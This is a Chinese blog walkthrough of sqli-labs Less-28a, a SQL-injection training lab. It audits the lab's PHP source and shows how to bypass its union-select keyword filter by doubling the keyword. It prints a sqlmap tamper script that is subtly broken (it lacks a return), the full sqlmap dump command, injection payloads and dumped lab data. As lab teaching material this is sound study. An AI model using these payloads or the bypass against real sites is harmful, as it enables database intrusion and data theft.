sqli-labs通关笔记-第28a关GET字符注入(多重关键字过滤绕过 脚本法)

目录

一、sqlmap之tamper脚本

二、源码分析

1、代码审计

2、SQL安全性分析

三、渗透实战

 1、进入靶场

2、tamper脚本

3、sqlmap渗透 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第28a关Less 28a基于GET字符型的SQL注入关卡进行渗透实战,与28关的区别是过滤信息不同,该关卡同样过滤关键字select union防止SQL注入攻击。

一、sqlmap之tamper脚本

sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、利用并获取数据库信息,需在合法授权下使用。

tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。

#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL  # 定义脚本优先级def dependencies():pass  # 定义依赖关系(可选)def tamper(payload, **kwargs):"""主处理函数,接收原始payload,返回修改后的payload"""return payload

二、源码分析

1、代码审计

本关卡Less28a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less28a关卡功能是简单基于id的查询页面,相对于28关区别只是过滤信息不同,对比如下所示。

详细注释后的代码如下所示。

<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");// 从URL参数获取用户输入的ID
if(isset($_GET['id']))
{$id = $_GET['id'];// 记录用户输入到日志文件(用于分析注入尝试)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 对用户输入进行黑名单过滤(存在严重安全风险,见下文分析)$id = blacklist($id);// 保存过滤后的输入用于页面提示$hint = $id;// 构建SQL查询语句(危险:直接拼接用户输入)// 注意:ID被括号包围,但未进行正确转义$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";// 执行SQL查询$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 输出查询结果if($row){echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';// 注释掉错误信息输出(防止泄露数据库信息)//print_r(mysqli_error($con1));echo "</font>";  }
}
else { echo "Please input the ID as parameter with numeric value"; }// 黑名单过滤函数(存在严重安全风险)
function blacklist($id)
{//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*//$id= preg_replace('/[--]/',"", $id);				    //Strip out --.//$id= preg_replace('/[#]/',"", $id);					//Strip out #.//$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.//$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.// 移除union和select之间的空格组合(大小写不敏感)// 示例:"UNION SELECT"会被过滤,但"uniounion selectn select"过滤后仍是union select$id = preg_replace('/union\s+select/i', "", $id);return $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。

  • 用户输入处理:从 URL 参数中获取用户输入的 ID 值,并尝试对其进行黑名单过滤,移除可能用于 SQL 注入的字符和关键词。
  • 日志记录:将用户输入的 ID 记录到 result.txt 文件中,用于后续分析。
  • SQL 查询:构建 SQL 查询语句,查询 users 表中匹配 ID 的记录,并执行查询。使用括号包裹 ID 值(id=('$id')),闭合方式为单引号括号。
  • 结果展示:如果查询到结果,显示用户的用户名和密码;如果没有查询到结果,则不显示数据库的具体报错信息(故而无法使用报错法注入)。
  • 提示信息:页面底部显示经过过滤后的用户输入,作为提示信息。

2、SQL安全性分析

本关卡同27a关、28关卡一样依旧不打印数据库报错信息,故而本关卡一样无法使用报错法注入,本关卡只能使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,但仍可通过双写或者大小写绕过等方法绕过过滤机制,因此本关卡仍然存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。28关卡的过滤函数处理如下所示。28a关卡的过滤函数处理如下所示。

$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

preg_replace 是 PHP 中用于执行正则表达式替换的函数,模式中的字符大小写决定匹配规则(如果模式中使用 i 修饰符,preg_replace 会 不区分大小写)本关卡中,对select和union过滤如下所示,将 $id 中 连续出现的 union 和 select(中间有一个或多个空白字符)替换为空字符串。例如:故而本关卡实际上对select和union参数进行不区分大小写的过滤,这使得我们可通过双写绕过,即通过uniounion selectn select替换select union符号。

'uniounion selectn select'替换'union select'

三、渗透实战

 1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第28a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less28a关卡,进入到靶场的第28a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-28

2、tamper脚本

构造28a.py脚本,使用双写方法绕过服务器对select union关键字的过滤,内容如下所示。

#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):payload= payload.lower()payload= payload.replace('union select' , 'uniounion selectn select')retVal=payload

3、sqlmap渗透 

 使用自己编写的tamper脚本28.py进行sqlmap渗透,这里特别注意“id=1"*”这里是告诉服务器注入点为id,在id=1后星号前面增加双引号是要告诉服务器闭合方式为双引号,具体命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-28a/?id=1" --current-db  --batch  --tamper 28a.py --dump
参数含义作用说明
-u URL指定目标 URL测试 id=1 参数是否存在 SQL 注入风险。
--current-db获取当前数据库名称枚举目标网站当前使用的数据库名。
--batch自动模式自动选择默认选项,无需用户手动确认。
--tamper 28a.py使用自定义脚本 28a.py 绕过过滤对注入载荷进行混淆,绕过目标的正则过滤。
--dump导出数据自动提取检测到的数据库表数据。

如下所示,sqlmap渗透成功,可以通过布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1') AND 1036=1036 AND ('pwEt'='pwEtType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1') AND (SELECT 8051 FROM (SELECT(SLEEP(5)))vdXu) AND ('dBLq'='dBLqType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-8082') UNION ALL SELECT NULL,NULL,CONCAT(0x7176627a71,0x687575784f717052624a677362534b4c4f71716a436c6178644773576361746d4f416a6555767269,0x7162786a71)-- -
---
[05:36:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:36:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[05:36:05] [INFO] fetching current database
current database: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/97302.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/97302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

联想打印机2268w安装

联想打印机2268w是支持无线打印的。在某度搜索&#xff0c;掀起盖子长按开机键&#xff0c;成功初始化。之后按说明应该能用手机搜索到打印机的热点&#xff0c;反复搜索都没有出现。最后没办法&#xff0c;之后好用我自己的方法安装。找了个笔记本&#xff0c;开机连接到wifi,…

【LeetCode】动态规划——72.编辑距离、10.正则表达式匹配

LeetCode题目链接 https://leetcode.cn/problems/edit-distance/description/ https://leetcode.cn/problems/regular-expression-matching/description/ 题解 72.编辑距离 本题要定义为长度为i、长度为j的字符串的最少编辑次数&#xff0c;每次判断字符的下标为i-1、j-1。dp[i…

[亲测可用]Android studio配置国内镜像源 Kotlin DSL (build.gradle.kts)

一、更改gradle下载镜像Android studio项目需要下载和更新 Gradle 及其依赖。由于网络环境&#xff0c;直接从 Gradle 官网下载可能会遇到速度慢或超时的问题。这里需要更换为使用国内的镜像站点来加速下载。官网地址&#xff08;较慢&#xff09;&#xff1a;https://services…

《跳出“技术堆砌”陷阱,构建可演进的软件系统》

很多团队陷入了“技术焦虑式开发”—盲目追逐热门框架&#xff0c;将“使用微服务”“引入云原生”“集成AI组件”当作架构先进的标签&#xff0c;却忽视了业务与技术的底层匹配逻辑。某互联网团队为了“彰显技术实力”&#xff0c;在内部协同工具中强行接入机器学习推荐模块&a…

赋能你的应用:英超实时数据接入终极指南(API vs. WebSocket)

在当今数据驱动的时代&#xff0c;为您的应用程序注入实时、准确的英超赛事数据&#xff0c;是提升用户体验、打造差异化竞争力的关键。无论是开发一款球迷必备的比分追踪App&#xff0c;一个深度专业的赛事分析平台&#xff0c;还是一个充满互动性的梦幻足球游戏&#xff0c;首…

计算机网络:(poll、epoll)

一、select的不足1. 最大监听数受限&#xff1a;FD_SETSIZE 默认 1024&#xff08;Linux&#xff09;2. 每次调用需重置 fd_set&#xff1a;内核会修改集合&#xff0c;必须每次重新 FD_SET3. 用户态与内核态拷贝开销大4. 返回后仍需遍历所有 fd 才能知道哪个就绪5. 效率随 fd …

网络编程之设置端口复用

首先来说一下为什么要设置端口复用&#xff0c;有些时候在调试服务器代码时势必会经常启动或结束服务器进程&#xff0c;这样就会出现当再次启动服务器时有可能会出现端口绑定失败的情况&#xff0c;造成这个情况的原因是由于你上次关闭服务器时有连接尚未断开等等其他原因&…

stargo缩扩容starrocks集群,实现节点服务器替换

1.背景在企业中可能需要&#xff0c;将starrocks的某一台服务器下架&#xff0c;换上另一台服务器&#xff0c;如何实现这个操作&#xff0c;本篇将进行介绍&#xff1b;节点hadoop101hadoop102hadoop103hadoop104集群原集群节点新节点fe✔✔❌&#xff08;下线&#xff09;✔&…

Linux -- 进程间通信【命名管道】

目录 一、命名管道定义 二、命名管道创建 1、指令 2、系统调用 3、删除 三、匿名管道和命名管道的区别 四、命名管道的打开规则 五、代码示例 1、comm.hpp 2、server.cc 3、client.cc 一、命名管道定义 # 匿名管道存在以下核心限制&#xff1a; 仅限亲缘关系进程&a…

LinuxC系统多线程程序设计

一.多线程程序设计1. 线程概述&#xff1a;1.1 什么是线程?线程是进程中的一个实体(组成单元),是系统进程调度的最小单元。一个进程至少具有一个线程&#xff0c;如果进程仅有一个线程&#xff0c;该线程就代表进程本身。把代表进程本身的线程称为主线程&#xff0c;一个进程…

Vue3 + TS + MapboxGL.js 三维地图开发项目

文章目录 1. 安装依赖 2. 新建 Map 组件(components/MapView.vue) 3. 在页面中使用(views/Home.vue) 4. 效果说明 1. 安装依赖 npm install mapbox-gl @types/mapbox-gl --save⚠️ 注意:需要去 Mapbox 官网,申请一个 access token。 package.json {"name":…

【编程语言】Rust 入门

目录 一、Rust 是什么&#xff1f;为什么选择它&#xff1f; 二、环境搭建&#xff0c;迈出第一步 2.1 Windows 系统安装步骤 2.2 macOS 系统安装步骤 2.3 Linux 系统安装步骤 2.4 安装过程中的常见问题及解决方案 三、基础语法&#xff0c;构建知识大厦的基石 3.1 变量…

Python 编码与加密全解析:从字符编码到 RSA 签名验证

在 Python 开发中&#xff0c;字符编码&#xff08;如 UTF-8、GBK&#xff09;和 数据加密&#xff08;如 Base64、MD5、RSA&#xff09;是处理数据传输、存储安全的核心技术。本文结合实战代码&#xff0c;从基础的字符编解码入手&#xff0c;逐步深入到加密算法的应用&#x…

关于shell命令的扩展

目录 一、逻辑运算符 1. &&&#xff08;AND&#xff09; 2. ||&#xff08;OR&#xff09; 3. 组合使用&#xff1a;A && B || C 二、输出与重定向 1. echo 输出 2. 标准文件描述符&#xff08;FD&#xff09; 3. 重定向操作符 4. 同时重定向 stdout 和…

MySQL EXPLAIN 查看执行计划详解

MySQL 的 EXPLAIN 命令。这是一个分析和优化 SQL 查询性能不可或缺的强大工具。它展示了 MySQL 如何执行一条 SQL 语句&#xff0c;包括如何使用索引、表连接顺序、估计的行数等关键信息。1. 如何使用 EXPLAIN在你要分析的 SELECT 语句前加上 EXPLAIN 或 EXPLAIN FORMATJSON&am…

TensorFlow 面试题及详细答案 120道(51-60)-- 模型保存、加载与部署

《前后端面试题》专栏集合了前后端各个知识模块的面试题,包括html,javascript,css,vue,react,java,Openlayers,leaflet,cesium,mapboxGL,threejs,nodejs,mangoDB,SQL,Linux… 。 前后端面试题-专栏总目录 文章目录 一、本文面试题目录 51. TensorFlow中保存和加…

从零开始学Shell编程:从基础到实战案例

从零开始学Shell编程&#xff1a;从基础到实战案例 文章目录从零开始学Shell编程&#xff1a;从基础到实战案例一、认识Shell&#xff1a;是什么与为什么学1.1 Shell的定义1.2 常用Shell解释器二、Shell编程快速入门&#xff1a;编写第一个脚本2.1 步骤1&#xff1a;创建脚本文…

机器学习算法全景解析:从理论到实践

机器学习算法全景解析&#xff1a;从理论到实践引言机器学习作为人工智能的核心组成部分&#xff0c;正在深刻地改变我们的世界。从推荐系统到自动驾驶&#xff0c;从医疗诊断到金融风控&#xff0c;机器学习算法无处不在。本文将全面系统地介绍机器学习的主要算法类别及其核心…

week5-[二维数组]对角线

week5-[二维数组]对角线 题目描述 给定一个 nnn\times nnn 的正方形二维数组&#xff0c;输出它两条对角线上元素的和。 输入格式 输入共 n1n 1n1 行。 第 111 行 111 个正整数 nnn。 接下来 nnn 行&#xff0c;每行 nnn 个正整数 aija_{ij}aij​ 表示这个二维数组。 输出格式…

GoogLeNet:深度学习中的“卷积网络变形金刚“

大家好&#xff01;今天我们要聊一个在深度学习领域掀起革命的经典网络——GoogLeNet&#xff08;又称Inception v1&#xff09;。这个由Google团队在2014年提出的模型&#xff0c;不仅拿下了ImageNet竞赛冠军&#xff0c;更用"网络中的网络"设计理念彻底改变了卷积神…